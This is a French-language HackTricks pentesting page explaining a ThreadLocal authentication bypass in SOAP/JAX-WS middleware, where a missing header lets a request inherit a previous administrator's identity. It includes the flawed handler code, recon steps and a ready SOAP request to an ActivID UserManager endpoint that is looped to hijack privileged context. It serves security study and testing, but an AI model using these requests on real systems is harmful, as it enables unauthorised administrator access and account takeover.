SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
TL;DR
- Certaines chaînes middleware stockent le
Subject/Principalauthentifié dans unThreadLocalstatique et ne le rafraîchissent que lorsqu’un en-tête SOAP propriétaire est présent. - Comme WebLogic/JBoss/GlassFish recyclent les threads de travail, l’absence de cet en-tête fait réutiliser silencieusement le dernier
Subjectprivilégié traité par le thread. - Inondez l’endpoint vulnérable avec des corps SOAP bien formés mais sans en-tête jusqu’à ce qu’un thread réutilisé vous accorde le contexte d’administrateur volé.
Cause sous-jacente
Handlers similaires au suivant écrasent l’identité thread-local uniquement lorsque l’en-tête personnalisé est présent, donc le contexte de la requête précédente persiste:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Énumérez les règles de reverse proxy / routage pour localiser des arbres SOAP cachés qui peuvent bloquer
?wsdltout en acceptant des POSTs (cartographiez-les parallèlement au flux dans 80,443 - Pentesting Web Methodology). - Décompressez les artefacts EAR/WAR/EJB (
unzip *.ear) et inspectezapplication.xml,web.xml, les annotations@WebServiceet les handler chains (p.ex.,LoginHandlerChain.xml) pour découvrir la classe handler, le QName d’en-tête SOAP et les noms des EJB sous-jacents. - Si les métadonnées sont manquantes, brute-forcez les chemins probables
ServiceName?wsdlou détendez temporairement les proxies de laboratoire, puis importez tout WSDL récupéré dans des outils tels que Burp Suite Wsdler pour générer des enveloppes de base. - Passez en revue le code des handlers pour repérer des objets
ThreadLocal(p.ex.,SubjectHolder.setSubject()) qui ne sont jamais réinitialisés lorsque l’en-tête d’authentification est absent ou malformé.
Exploitation
- Envoyez une requête valide avec l’en-tête propriétaire pour connaître les codes de réponse normaux et toute erreur utilisée pour les tokens invalides.
- Renvoyez le même corps SOAP en omettant l’en-tête. Veillez à ce que le XML soit bien formé et à respecter les namespaces requis afin que le handler se termine proprement.
- Bouclez la requête ; lorsqu’elle tombe sur un thread ayant précédemment exécuté une action privilégiée, le
Subjectréutilisé débloque des opérations protégées telles que les gestionnaires d’utilisateurs ou de credentials.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Validation du bug
- Attachez JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ou des hooks de débogage similaires pour observer le contenu deThreadLocalavant et après chaque appel, en confirmant qu’une requête non authentifiée a hérité d’unSubjectadministrateur antérieur.
Références
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

